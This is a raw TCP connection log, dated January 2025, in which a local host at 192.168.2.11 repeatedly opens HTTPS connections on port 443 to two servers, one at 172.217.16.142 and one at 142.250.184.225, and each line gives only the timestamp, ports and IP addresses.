Jan 11, 2025 05:06:34.506697893 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:34.506782055 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:34.507059097 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:34.507078886 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.172821999 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.173053980 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.173768044 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.173778057 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.173949003 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.173953056 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.561453104 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.562325954 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.562354088 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.562396049 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.562470913 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.562500954 CET	443	50010	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:35.562549114 CET	50010	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:35.578088999 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:35.578159094 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:35.578392982 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:35.578859091 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:35.578881979 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.208506107 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.208812952 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.209286928 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.209295988 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.209403992 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.209408998 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.624243021 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.624314070 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.624322891 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.624332905 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.624375105 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.624382973 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.624417067 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.624468088 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.624979019 CET	50011	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:36.624989986 CET	443	50011	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:36.756625891 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:36.756680965 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:36.756777048 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:36.757122040 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:36.757137060 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.410358906 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.410446882 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.411132097 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.411326885 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.413100958 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.413110971 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.413369894 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.413440943 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.413674116 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.455331087 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.794028997 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.794117928 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.794150114 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.794190884 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.794269085 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.794317007 CET	443	50012	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:37.794367075 CET	50012	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:37.801754951 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:37.801796913 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:37.801862001 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:37.802083015 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:37.802095890 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.453752041 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.453851938 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.460769892 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.460777044 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.463998079 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.464003086 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.882579088 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.882658958 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.882718086 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.882726908 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:38.882756948 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.882778883 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.883461952 CET	50013	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:38.883480072 CET	443	50013	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:39.006640911 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.006691933 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:39.006768942 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.007038116 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.007051945 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:39.636013985 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:39.636107922 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.636801004 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:39.636854887 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.638484001 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.638495922 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:39.638746023 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:39.638804913 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.639137030 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:39.679373026 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:40.024476051 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:40.024614096 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:40.024643898 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:40.024699926 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:40.024799109 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:40.024832010 CET	443	50014	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:40.024882078 CET	50014	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:40.032689095 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:40.032747984 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:40.032809019 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:40.033073902 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:40.033086061 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:40.686552048 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:40.686662912 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:40.687273979 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:40.687280893 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:40.687474012 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:40.687479019 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:41.112860918 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:41.112929106 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:41.112951994 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:41.112968922 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:41.112993002 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:41.113004923 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:41.113004923 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:41.113145113 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:41.113993883 CET	50015	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:41.114007950 CET	443	50015	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:41.225182056 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.225287914 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:41.225402117 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.225671053 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.225708961 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:41.875287056 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:41.875384092 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.876086950 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:41.876147985 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.877938986 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.877954006 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:41.878249884 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:41.878314018 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.878705978 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:41.919337988 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:42.262727022 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:42.262933969 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:42.262988091 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:42.263065100 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:42.263120890 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:42.263174057 CET	443	50016	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:42.263235092 CET	50016	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:42.287504911 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:42.287564993 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:42.287652016 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:42.287899971 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:42.287911892 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:42.936906099 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:42.937030077 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:42.937529087 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:42.937541008 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:42.937691927 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:42.937696934 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.359726906 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.359805107 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:43.359829903 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.359875917 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:43.359951973 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.360006094 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:43.360033035 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.360074043 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:43.360145092 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.360189915 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:43.360404015 CET	50017	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:43.360420942 CET	443	50017	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:43.491101980 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:43.491205931 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:43.491352081 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:43.491601944 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:43.491626978 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.121452093 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.121634007 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.122241020 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.122315884 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.124099970 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.124119043 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.124365091 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.124453068 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.124860048 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.167340040 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.514127016 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.514187098 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.514214039 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.514252901 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.514385939 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.514508963 CET	443	50018	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:44.514556885 CET	50018	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:44.528245926 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:44.528285980 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:44.528352022 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:44.528614044 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:44.528625965 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.157095909 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.157175064 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:45.157670975 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:45.157680988 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.157881021 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:45.157885075 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.568908930 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.568983078 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.569046021 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.569143057 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:45.569169998 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:45.569926977 CET	50019	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:45.569941044 CET	443	50019	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:45.694518089 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:45.694564104 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:45.694658041 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:45.695012093 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:45.695029974 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.322748899 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.322916031 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.323519945 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.323600054 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.325906992 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.325918913 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.326157093 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.326215029 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.326638937 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.367337942 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.711179018 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.711287022 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.711302996 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.711358070 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.711436987 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.711463928 CET	443	50020	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:46.711524010 CET	50020	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:46.726360083 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:46.726397038 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:46.726459980 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:46.726691008 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:46.726701021 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.373563051 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.373740911 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.374336004 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.374351978 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.374520063 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.374526978 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.796444893 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.796549082 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.796562910 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.796591997 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.796607018 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.796655893 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.796658039 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.796706915 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.800081015 CET	50021	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:47.800087929 CET	443	50021	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:47.913170099 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:47.913216114 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:47.913305044 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:47.913701057 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:47.913719893 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.543385029 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.543548107 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.544469118 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.544552088 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.546327114 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.546333075 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.546679974 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.546744108 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.547194004 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.587337017 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.933757067 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.933900118 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.933921099 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.933965921 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.934139967 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.934169054 CET	443	50022	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:48.934218884 CET	50022	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:48.945558071 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:48.945593119 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:48.945677996 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:48.945909023 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:48.945919037 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:49.595918894 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:49.596057892 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:49.596573114 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:49.596584082 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:49.596740007 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:49.596745014 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:50.013225079 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:50.013298988 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:50.013329983 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:50.013350010 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:50.013370037 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:50.013371944 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:50.013396025 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:50.013425112 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:50.014102936 CET	50023	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:50.014120102 CET	443	50023	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:50.131724119 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.131783962 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:50.131876945 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.132181883 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.132194042 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:50.761563063 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:50.761774063 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.762654066 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:50.762732029 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.764790058 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.764801025 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:50.765194893 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:50.765254974 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.765675068 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:50.807373047 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:51.145889044 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:51.145998001 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:51.146028042 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:51.146070004 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:51.146172047 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:51.146224022 CET	443	50024	172.217.16.142	192.168.2.11
Jan 11, 2025 05:06:51.146269083 CET	50024	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:51.155790091 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:51.155833960 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:51.155915022 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:51.156146049 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:51.156164885 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:51.784068108 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:51.785110950 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:51.785110950 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:51.785135031 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:51.786169052 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:51.786176920 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.199961901 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.200031996 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:52.200047016 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.200061083 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.200114965 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:52.200114965 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:52.200122118 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.200146914 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.200154066 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:52.200280905 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:52.200908899 CET	50025	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:06:52.200927973 CET	443	50025	142.250.184.225	192.168.2.11
Jan 11, 2025 05:06:52.319195032 CET	50026	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:06:52.319246054 CET	443	50026	172.217.16.142	192.168.2.11
